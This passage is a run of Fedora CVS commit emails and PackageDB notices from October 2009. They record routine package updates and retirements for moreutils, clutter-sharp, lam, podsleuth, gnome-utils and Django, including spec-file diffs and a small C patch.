--- moreutils.spec	16 Jul 2009 05:09:34 -0000	1.11
+++ moreutils.spec	25 Oct 2009 23:04:59 -0000	1.12
@@ -1,5 +1,5 @@
 Name:           moreutils
-Version:        0.36
+Version:        0.37
 Release:        1%{?dist}
 Summary:        Additional unix utilities
 Group:          Applications/System
@@ -89,6 +89,15 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 19 2009 Marc Bradshaw <fedora at marcbradshaw.co.uk> 0.37-1%{?dist}
+- new upstream version 0.36 released with these changes
+- * parallel: Clarify man page regarding CPUs. Closes: #536597
+- * parallel: Add -n option. Thanks, Pierre Habouzit. Closes: #537992 (As a side effect, fixes a segfault if -- was omitted.)
+- * parallel.1: Typo fixes. Closes: #538147
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.36-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Jul 16 2009 Marc Bradshaw <fedora at marcbradshaw.co.uk> 0.36-1%{?dist}
 - new upstream version 0.36 released with these changes
 - * parallel: New program, contributed by Tollef Fog Heen, that can run multiple jobs in parallel, optionally checking load average.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	16 Jul 2009 05:09:34 -0000	1.10
+++ sources	25 Oct 2009 23:04:59 -0000	1.11
@@ -1 +1 @@
-c2df31a6c2e1ab5344808d5401365fba  moreutils_0.36.tar.gz
+0efb69ef1e913ea4dabc74bfe0e68372  moreutils_0.37.tar.gz



From deebs at fedoraproject.org  Sun Oct 25 23:07:15 2009
From: deebs at fedoraproject.org (deebs)
Date: Sun, 25 Oct 2009 23:07:15 +0000 (UTC)
Subject: rpms/moreutils/F-10 .cvsignore, 1.10, 1.11 import.log, 1.5,
	1.6 moreutils.spec, 1.11, 1.12 sources, 1.10, 1.11
Message-ID: <20091025230715.B4B9111C00E5@cvs1.fedora.phx.redhat.com>

Author: deebs

Update of /cvs/pkgs/rpms/moreutils/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20528/F-10

Modified Files:
	.cvsignore import.log moreutils.spec sources 
Log Message:
new upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/F-10/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	16 Jul 2009 05:01:43 -0000	1.10
+++ .cvsignore	25 Oct 2009 23:07:15 -0000	1.11
@@ -1 +1 @@
-moreutils_0.36.tar.gz
+moreutils_0.37.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/F-10/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	16 Jul 2009 05:01:43 -0000	1.5
+++ import.log	25 Oct 2009 23:07:15 -0000	1.6
@@ -3,3 +3,4 @@ moreutils-0_31-1_fc9:HEAD:moreutils-0.31
 moreutils-0_34-1_fc10:F-10:moreutils-0.34-1.fc10.src.rpm:1235469379
 moreutils-0_35-1_fc10:F-10:moreutils-0.35-1.fc10.src.rpm:1246693200
 moreutils-0_36-1_fc10:F-10:moreutils-0.36-1.fc10.src.rpm:1247720424
+moreutils-0_37-1_fc10:F-10:moreutils-0.37-1.fc10.src.rpm:1256511977


Index: moreutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/F-10/moreutils.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- moreutils.spec	16 Jul 2009 05:01:43 -0000	1.11
+++ moreutils.spec	25 Oct 2009 23:07:15 -0000	1.12
@@ -1,5 +1,5 @@
 Name:           moreutils
-Version:        0.36
+Version:        0.37
 Release:        1%{?dist}
 Summary:        Additional unix utilities
 Group:          Applications/System
@@ -89,6 +89,15 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 19 2009 Marc Bradshaw <fedora at marcbradshaw.co.uk> 0.37-1%{?dist}
+- new upstream version 0.36 released with these changes
+- * parallel: Clarify man page regarding CPUs. Closes: #536597
+- * parallel: Add -n option. Thanks, Pierre Habouzit. Closes: #537992 (As a side effect, fixes a segfault if -- was omitted.)
+- * parallel.1: Typo fixes. Closes: #538147
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.36-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Jul 16 2009 Marc Bradshaw <fedora at marcbradshaw.co.uk> 0.36-1%{?dist}
 - new upstream version 0.36 released with these changes
 - * parallel: New program, contributed by Tollef Fog Heen, that can run multiple jobs in parallel, optionally checking load average.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/F-10/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	16 Jul 2009 05:01:43 -0000	1.10
+++ sources	25 Oct 2009 23:07:15 -0000	1.11
@@ -1 +1 @@
-c2df31a6c2e1ab5344808d5401365fba  moreutils_0.36.tar.gz
+0efb69ef1e913ea4dabc74bfe0e68372  moreutils_0.37.tar.gz



From chkr at fedoraproject.org  Sun Oct 25 23:13:56 2009
From: chkr at fedoraproject.org (chkr)
Date: Sun, 25 Oct 2009 23:13:56 +0000 (UTC)
Subject: rpms/clutter-sharp/F-11 clutter-sharp-make-git-snapshot.sh, NONE,
	1.1 clutter-sharp.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091025231356.DDBBB11C00E5@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/clutter-sharp/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23467/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	clutter-sharp-make-git-snapshot.sh clutter-sharp.spec 
	import.log 
Log Message:
Initial import of clutter-sharp for Fedora 11.



--- NEW FILE clutter-sharp-make-git-snapshot.sh ---
#!/bin/sh

# Usage: ./clutter-sharp-make-git-snapshot.sh [COMMIT]
#
# to make a snapshot of the given tag/branch.  Defaults to HEAD.
# Point env var REF to a local mesa repo to reduce clone time.

DIRNAME="clutter-sharp-$2"

echo REF ${REF:+--reference $REF}
echo DIRNAME $DIRNAME
echo HEAD ${1:-HEAD}

rm -rf $DIRNAME

git clone ${REF:+--reference $REF} \
        git://git.clutter-project.org/bindings/clutter-sharp $DIRNAME

GIT_DIR=$DIRNAME/.git git archive --format=tar --prefix=$DIRNAME/ ${1:-HEAD} \
        | bzip2 > $DIRNAME.tar.bz2

rm -rf $DIRNAME



--- NEW FILE clutter-sharp.spec ---
%define debug_package %{nil}

%define gitdate 20090828
%define gitcommit 349dba602015e07
Summary: C#/.NET bindings to Clutter
Name: clutter-sharp
Version: 0
Release: 0.5.%{gitdate}%{?dist}
URL: http://www.clutter-project.org
Source0: %{name}-%{gitdate}.tar.bz2
# based on libdrm's make-git-snapshot.sh 
# sh clutter-sharp-make-git-snapshot.sh <gitcommit> <gitdate>
Source1: clutter-sharp-make-git-snapshot.sh
License: MIT
Group: System Environment/Libraries
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildRequires: autoconf
BuildRequires: automake, libtool
BuildRequires: mono-devel
BuildRequires: gtk-sharp2-devel
BuildRequires: clutter-devel
BuildRequires: monodoc-devel
BuildRequires: gtk-sharp2-gapi
Requires: gtk-sharp2-gapi
Requires: clutter
# clutter-sharp is currently built without
# clutter-gtk support, since it requires version >= 0.10.3
#BuildRequires: clutter-gtk-devel 
#Requires: clutter-gtk

%description
Clutter-sharp offers C#/.NET bindings to Clutter

%package devel
Summary: Development files for %{name}
Group: Development/Libraries
Requires: %name = %{version}-%{release}
Requires: pkgconfig
Requires: monodoc

%description devel
This package contains the development files for the C#/.NET bindings
to clutter.

%prep
%setup -q -n %{name}-%{gitdate}

sed -i -e 's!$(prefix)/lib!%{_libdir}/!' glib/Makefile.am
sed -i -e 's!$(prefix)/lib!%{_libdir}/!' clutter/Makefile.am
sed -i -e 's!$(prefix)/lib!%{_libdir}/!' build/assembly.mk

%build
./autogen.sh
export MONO_SHARED_DIR=%{_builddir}/%{?buildsubdir}
%configure

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc COPYING README
%{_libdir}/clutter-sharp/
%{_datadir}/gapi-2.0/*

%files devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/clutter-sharp.pc
%exclude %{_libdir}/pkgconfig/clutter-gtk-sharp.pc
%{_libdir}/monodoc/sources/*

%changelog
* Fri Sep 25 2009 Christian Krause <chkr at fedoraproject.org> - 0-0.5.20090828
- Fix some spelling mistakes
- Correct email address

* Wed Sep 16 2009 Christian Krause <chkr at fedoraproject.org> - 0-0.4.20090828
- Add Requires: clutter since it is not picked up automatically
- Add comments about clutter-gtk support in the future
- Exclude clutter-gtk-sharp pkgconfig file for now
- Fix description and summary of devel package

* Fri Aug 28 2009 Christian Krause <chkr at fedoraproject.org> - 0-0.3.20090828
- Fix %%defattr usage
- Use %%{buildroot} consistently

* Fri Aug 28 2009 Christian Krause <chkr at fedoraproject.org> - 0-0.2.20090828
- Enhance git snapshot script to retrieve a specific revision

* Thu Aug 27 2009 Christian Krause <chkr at fedoraproject.org> - 0-0.1.20090827
- Initial spec file for clutter-sharp



--- NEW FILE import.log ---
clutter-sharp-0-0_5_20090828_fc12:F-11:clutter-sharp-0-0.5.20090828.fc12.src.rpm:1256512394


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/clutter-sharp/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Sep 2009 02:09:47 -0000	1.1
+++ .cvsignore	25 Oct 2009 23:13:55 -0000	1.2
@@ -0,0 +1 @@
+clutter-sharp-20090828.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/clutter-sharp/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Sep 2009 02:09:47 -0000	1.1
+++ sources	25 Oct 2009 23:13:55 -0000	1.2
@@ -0,0 +1 @@
+dd598c47ae0f946131a461d7e9fb076b  clutter-sharp-20090828.tar.bz2



From pkgdb at fedoraproject.org  Sun Oct 25 23:24:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 23:24:00 +0000
Subject: [pkgdb] lam ownership updated
Message-ID: <20091025232400.F18E310F87E@bastion2.fedora.phx.redhat.com>

Package lam in Fedora devel was orphaned by dledford

To make changes to this package see:
  /pkgdb/packages/name/lam



From pkgdb at fedoraproject.org  Sun Oct 25 23:24:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 23:24:00 +0000
Subject: [pkgdb] lam (un)retirement
Message-ID: <20091025232401.11F9210F894@bastion2.fedora.phx.redhat.com>

Package lam in Fedora devel has been retired by dledford

To make changes to this package see:
  /pkgdb/packages/name/lam



From pkgdb at fedoraproject.org  Sun Oct 25 23:24:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 23:24:15 +0000
Subject: [pkgdb] lam ownership updated
Message-ID: <20091025232415.2A07510F87E@bastion2.fedora.phx.redhat.com>

Package lam in Fedora 12 was orphaned by dledford

To make changes to this package see:
  /pkgdb/packages/name/lam



From pkgdb at fedoraproject.org  Sun Oct 25 23:24:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 25 Oct 2009 23:24:15 +0000
Subject: [pkgdb] lam (un)retirement
Message-ID: <20091025232415.36FF910F894@bastion2.fedora.phx.redhat.com>

Package lam in Fedora 12 has been retired by dledford

To make changes to this package see:
  /pkgdb/packages/name/lam



From dledford at fedoraproject.org  Sun Oct 25 23:26:50 2009
From: dledford at fedoraproject.org (Doug Ledford)
Date: Sun, 25 Oct 2009 23:26:50 +0000 (UTC)
Subject: rpms/lam/F-12 .cvsignore, 1.14, NONE Makefile, 1.2,
	NONE lam-7.1.2-archmode.patch, 1.1,
	NONE lam-7.1.2-no_darwin.patch, 1.2, NONE lam-7.1.4-man.patch,
	1.1, NONE lam-gcc43-build.patch, 1.1, NONE lam.module.in, 1.5,
	NONE lam.pc.in, 1.3, NONE lam.spec, 1.58, NONE sources, 1.15, NONE
Message-ID: <20091025232650.C147511C00E5@cvs1.fedora.phx.redhat.com>

Author: dledford

Update of /cvs/extras/rpms/lam/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28840

Removed Files:
	.cvsignore Makefile lam-7.1.2-archmode.patch 
	lam-7.1.2-no_darwin.patch lam-7.1.4-man.patch 
	lam-gcc43-build.patch lam.module.in lam.pc.in lam.spec sources 
Log Message:
Dead package process


--- .cvsignore DELETED ---


--- Makefile DELETED ---


--- lam-7.1.2-archmode.patch DELETED ---


--- lam-7.1.2-no_darwin.patch DELETED ---


--- lam-7.1.4-man.patch DELETED ---


--- lam-gcc43-build.patch DELETED ---


--- lam.module.in DELETED ---


--- lam.pc.in DELETED ---


--- lam.spec DELETED ---


--- sources DELETED ---



From dledford at fedoraproject.org  Sun Oct 25 23:27:07 2009
From: dledford at fedoraproject.org (Doug Ledford)
Date: Sun, 25 Oct 2009 23:27:07 +0000 (UTC)
Subject: rpms/lam/F-12 dead.package,NONE,1.1
Message-ID: <20091025232707.1B79711C00E5@cvs1.fedora.phx.redhat.com>

Author: dledford

Update of /cvs/extras/rpms/lam/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28937

Added Files:
	dead.package 
Log Message:
Dead package process


--- NEW FILE dead.package ---
Obsolete package.  Replace by Open MPI (although not a drop in replacement,
so no automatic Obsoletes: in the Open MPI package).



From chkr at fedoraproject.org  Sun Oct 25 23:32:28 2009
From: chkr at fedoraproject.org (chkr)
Date: Sun, 25 Oct 2009 23:32:28 +0000 (UTC)
Subject: rpms/podsleuth/devel .cvsignore, 1.5, 1.6 podsleuth.spec, 1.11,
	1.12 sources, 1.5, 1.6 podsleuth-0.6.4-sg3_utils.patch, 1.1, NONE
Message-ID: <20091025233228.97D2311C00E5@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/podsleuth/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31321

Modified Files:
	.cvsignore podsleuth.spec sources 
Removed Files:
	podsleuth-0.6.4-sg3_utils.patch 
Log Message:
* Sun Oct 25 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.5-1
- Update to 0.6.5
- Remove unneeded sg3_utils patch (upstream supports now
  libsgutils2)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/podsleuth/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	26 Aug 2009 19:41:59 -0000	1.5
+++ .cvsignore	25 Oct 2009 23:32:28 -0000	1.6
@@ -1 +1 @@
-podsleuth-0.6.4.tar.bz2
+podsleuth-0.6.5.tar.bz2


Index: podsleuth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/podsleuth/devel/podsleuth.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- podsleuth.spec	26 Aug 2009 19:41:59 -0000	1.11
+++ podsleuth.spec	25 Oct 2009 23:32:28 -0000	1.12
@@ -1,14 +1,13 @@
 %define		debug_package %{nil}
 
 Name:		podsleuth
-Version:	0.6.4
+Version:	0.6.5
 Release:	1%{?dist}
 Summary:	Probes, identifies, and exposes properties and metadata bound to iPods
 Group:		Applications/Multimedia
 License:	MIT
-URL:		http://banshee-project.org/PodSleuth
-Source0:	http://banshee-project.org/files/%{name}/%{name}-%{version}.tar.bz2
-Patch0:		podsleuth-0.6.4-sg3_utils.patch
+URL:		http://banshee-project.org/
+Source0:	http://banshee-project.org/files/%{name}/%{version}/%{name}-%{version}.tar.bz2
 Patch1:		podsleuth-0.6.2-libdir.patch
 Patch2:		podsleuth-0.6.0-wapidir.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -43,9 +42,6 @@ Development files for podsleuth.
 
 %prep
 %setup -q
-%if 0%{?fedora} >= 10
-%patch0 -p1 -b .sg3_utils
-%endif
 %patch1 -p1 -b .libdir
 %patch2 -p1 -b .wapidir
 
@@ -78,6 +74,11 @@ make install DESTDIR=%{buildroot}
 %{_libdir}/pkgconfig/podsleuth.pc
 
 %changelog
+* Sun Oct 25 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.5-1
+- Update to 0.6.5
+- Remove unneeded sg3_utils patch (upstream supports now
+  libsgutils2)
+
 * Wed Aug 26 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.4-1
 - update to 0.6.4 (BZ 501404)
 - remove upstreamed patch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/podsleuth/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	26 Aug 2009 19:41:59 -0000	1.5
+++ sources	25 Oct 2009 23:32:28 -0000	1.6
@@ -1 +1 @@
-b51e7bc2dd3e2265e75a04fe35974c10  podsleuth-0.6.4.tar.bz2
+5cbe9c3bb199912e15f65314b4f46ca8  podsleuth-0.6.5.tar.bz2


--- podsleuth-0.6.4-sg3_utils.patch DELETED ---



From mclasen at fedoraproject.org  Sun Oct 25 23:44:51 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sun, 25 Oct 2009 23:44:51 +0000 (UTC)
Subject: rpms/gnome-utils/F-12
	0001-gsearchtool-Backport-the-version-fix.patch, 
	NONE, 1.1 gnome-utils.spec, 1.206, 1.207
Message-ID: <20091025234451.7F3E311C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3187

Modified Files:
	gnome-utils.spec 
Added Files:
	0001-gsearchtool-Backport-the-version-fix.patch 
Log Message:
Fix --version


0001-gsearchtool-Backport-the-version-fix.patch:
 ChangeLog               |    7 +++++++
 gsearchtool-callbacks.c |   11 +++++++++++
 gsearchtool-callbacks.h |    5 +++++
 gsearchtool-support.c   |    2 +-
 gsearchtool.c           |    4 ++--
 5 files changed, 26 insertions(+), 3 deletions(-)

--- NEW FILE 0001-gsearchtool-Backport-the-version-fix.patch ---
>From d300c1a0d6c53f46b96363068713c1a14aaa77ab Mon Sep 17 00:00:00 2001
From: Dennis Cranston <dennis_cranston at yahoo.com>
Date: Wed, 21 Oct 2009 14:43:43 -0700
Subject: [PATCH 1/3] [gsearchtool]  Backport the "--version" fix

Backport the "--version" command line fix without introducting
a new string.  Also, fix a compiler warning.
---
 gsearchtool/ChangeLog               |    7 +++++++
 gsearchtool/gsearchtool-callbacks.c |   11 +++++++++++
 gsearchtool/gsearchtool-callbacks.h |    5 +++++
 gsearchtool/gsearchtool-support.c   |    2 +-
 gsearchtool/gsearchtool.c           |    3 ++-
 5 files changed, 26 insertions(+), 2 deletions(-)

diff --git a/gsearchtool/ChangeLog b/gsearchtool/ChangeLog
index ff2f4af..7397146 100644
--- a/gsearchtool/ChangeLog
+++ b/gsearchtool/ChangeLog
@@ -1,3 +1,10 @@
+2009-10-21 Dennis Cranston <dennis_cranston at yahoo.com>
+
+	* gsearchtool.c, gsearchtool-callbacks.[ch]: Backport the
+	  "--version" command line argument fix without introducing
+	  a new string.  
+	* gsearchtool-support.c: Fix compiler warning.
+ 
 2009-09-30  Dennis Cranston  <dennis_cranston at yahoo.com>
 
 	*  gsearchtool.c:  Remove new string from previous commit.
diff --git a/gsearchtool/gsearchtool-callbacks.c b/gsearchtool/gsearchtool-callbacks.c
index 1496b8d..62cb86a 100644
--- a/gsearchtool/gsearchtool-callbacks.c
+++ b/gsearchtool/gsearchtool-callbacks.c
@@ -31,6 +31,7 @@
 
 #include <string.h>
 #include <signal.h>
+#include <stdlib.h>
 #include <sys/wait.h>
 #include <sys/types.h>
 #include <unistd.h>
@@ -94,6 +95,16 @@ quit_application (GSearchWindow * gsearch)
 }
 
 void
+version_cb (const gchar * option_name,
+            const gchar * value,
+            gpointer data,
+            GError ** error)
+{
+        g_print ("%s %s\n", g_get_application_name (), VERSION);
+        exit (0);
+}
+
+void
 quit_session_cb (EggSMClient * client,
                  gpointer data)
 {
diff --git a/gsearchtool/gsearchtool-callbacks.h b/gsearchtool/gsearchtool-callbacks.h
index 604eed6..191cc94 100644
--- a/gsearchtool/gsearchtool-callbacks.h
+++ b/gsearchtool/gsearchtool-callbacks.h
@@ -36,6 +36,11 @@ extern "C" {
 #include "eggsmclient.h"
 
 void
+version_cb (const gchar * option_name,
+            const gchar * value,
+            gpointer data,
+            GError ** error);
+void
 quit_session_cb (EggSMClient * client,
                  gpointer data);
 void
diff --git a/gsearchtool/gsearchtool-support.c b/gsearchtool/gsearchtool-support.c
index 0e1bc46..3852178 100644
--- a/gsearchtool/gsearchtool-support.c
+++ b/gsearchtool/gsearchtool-support.c
@@ -1195,7 +1195,7 @@ open_file_with_filemanager (GtkWidget * window,
 {
 	GDesktopAppInfo * d_app_info;
 	GKeyFile * key_file;
-	GdkAppLaunchContext *ctx;
+	GdkAppLaunchContext * ctx = NULL;
 	GList * list = NULL;
 	GAppInfo * g_app_info;
 	GFile * g_file;
diff --git a/gsearchtool/gsearchtool.c b/gsearchtool/gsearchtool.c
index 37c5a88..0afc8b0 100644
--- a/gsearchtool/gsearchtool.c
+++ b/gsearchtool/gsearchtool.c
@@ -154,6 +154,7 @@ struct _GSearchGOptionArguments {
 } GSearchGOptionArguments;
 
 static GOptionEntry GSearchGOptionEntries[] = {
+	{ "version", 0, G_OPTION_FLAG_NO_ARG, G_OPTION_ARG_CALLBACK, version_cb, NULL, NULL},
 	{ "named", 0, 0, G_OPTION_ARG_STRING, &GSearchGOptionArguments.name, NULL, N_("STRING") },
 	{ "path", 0, 0, G_OPTION_ARG_STRING, &GSearchGOptionArguments.path, NULL, N_("PATH") },
 	{ "sortby", 0, 0, G_OPTION_ARG_STRING, &GSearchGOptionArguments.sortby, NULL, N_("VALUE") },
@@ -1281,7 +1282,7 @@ add_atk_relation (GtkWidget * obj1,
 static void
 gsearch_setup_goption_descriptions (void)
 {
-	gint i = 0;
+	gint i = 1;
 	gint j;
 
 	GSearchGOptionEntries[i++].description = g_strdup (_("Set the text of \"Name contains\" search option"));
-- 
1.6.5.1



Index: gnome-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-utils/F-12/gnome-utils.spec,v
retrieving revision 1.206
retrieving revision 1.207
diff -u -p -r1.206 -r1.207
--- gnome-utils.spec	24 Oct 2009 03:21:30 -0000	1.206
+++ gnome-utils.spec	25 Oct 2009 23:44:48 -0000	1.207
@@ -9,7 +9,7 @@
 
 Name:           gnome-utils
 Version:        2.28.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Epoch: 		1
 Summary:        GNOME utility programs
 
@@ -17,6 +17,10 @@ Group:          Applications/System
 License:        GPLv2+
 URL: 	        http://www.gnome.org
 Source0:        http://download.gnome.org/sources/gnome-utils/2.28/gnome-utils-%{version}.tar.bz2
+
+Patch0:		spinner.patch
+Patch1:		0001-gsearchtool-Backport-the-version-fix.patch
+
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gnome-doc-utils >= %{gnome_doc_utils_version}
@@ -84,6 +88,8 @@ view various system log files.
 
 %prep
 %setup -q
+%patch0 -p1 -b .spinner
+%patch1 -p1 -b .version
 
 # Hide from menus
 pushd gsearchtool
@@ -312,6 +318,9 @@ fi
 %{_mandir}/man1/gnome-system-log.1.gz
 
 %changelog
+* Sun Oct 25 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.1-3
+- Fxi the --version command (#516491)
+
 * Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.1-2
 - Fix the gsearchtool spinner
 



From smilner at fedoraproject.org  Mon Oct 26 00:04:50 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon, 26 Oct 2009 00:04:50 +0000 (UTC)
Subject: rpms/Django/F-12 Django.spec,1.30,1.31
Message-ID: <20091026000450.6F09511C00E5@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12197

Modified Files:
	Django.spec 
Log Message:
Updated spec to fix BZ#529188.


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-12/Django.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- Django.spec	10 Oct 2009 01:28:43 -0000	1.30
+++ Django.spec	26 Oct 2009 00:04:46 -0000	1.31
@@ -3,7 +3,7 @@
 
 Name:           Django
 Version:        1.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -76,6 +76,9 @@ cp -p docs/man/* $RPM_BUILD_ROOT%{_mandi
 # Fix items in %{_bindir}
 mv $RPM_BUILD_ROOT%{_bindir}/django-admin.py $RPM_BUILD_ROOT%{_bindir}/django-admin
 
+# remove .po files
+find $RPM_BUILD_ROOT -name "*.po" | xargs rm -f
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -90,7 +93,7 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0755,root,root) %{python_sitelib}/django/bin/*-messages.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/daily_cleanup.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/django-admin.py
-%{python_sitelib}/django
+%{python_sitelib}/django/
 
 # Leaving these since people may want to rebuild on lower dists
 %if 0%{?fedora} >= 9
@@ -112,6 +115,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-2
+- Removed po files per BZ#529188.
+
 * Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
 - Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
 - Django-ignore-pyo-bz-495046.patch no longer needed.



From smilner at fedoraproject.org  Mon Oct 26 00:05:59 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon, 26 Oct 2009 00:05:59 +0000 (UTC)
Subject: rpms/Django/EL-5 Django.spec,1.16,1.17
Message-ID: <20091026000559.7793111C00E5@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12887

Modified Files:
	Django.spec 
Log Message:
Updated spec to fix BZ#529188.


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/EL-5/Django.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- Django.spec	10 Oct 2009 01:15:15 -0000	1.16
+++ Django.spec	26 Oct 2009 00:05:58 -0000	1.17
@@ -3,7 +3,7 @@
 
 Name:           Django
 Version:        1.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -76,6 +76,9 @@ cp -p docs/man/* $RPM_BUILD_ROOT%{_mandi
 # Fix items in %{_bindir}
 mv $RPM_BUILD_ROOT%{_bindir}/django-admin.py $RPM_BUILD_ROOT%{_bindir}/django-admin
 
+# remove .po files
+find $RPM_BUILD_ROOT -name "*.po" | xargs rm -f
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -90,7 +93,7 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0755,root,root) %{python_sitelib}/django/bin/*-messages.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/daily_cleanup.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/django-admin.py
-%{python_sitelib}/django
+%{python_sitelib}/django/
 
 # Leaving these since people may want to rebuild on lower dists
 %if 0%{?fedora} >= 9
@@ -112,6 +115,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-2
+- Removed po files per BZ#529188.
+
 * Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
 - Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
 - Django-ignore-pyo-bz-495046.patch no longer needed.



From smilner at fedoraproject.org  Mon Oct 26 00:11:13 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon, 26 Oct 2009 00:11:13 +0000 (UTC)
Subject: rpms/Django/F-11 Django.spec,1.24,1.25
Message-ID: <20091026001113.3D21A11C02C6@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14985

Modified Files:
	Django.spec 
Log Message:
Updated spec to fix BZ#529188.


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-11/Django.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- Django.spec	10 Oct 2009 01:04:24 -0000	1.24
+++ Django.spec	26 Oct 2009 00:11:12 -0000	1.25
@@ -3,7 +3,7 @@
 
 Name:           Django
 Version:        1.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A high-level Python Web framework
 
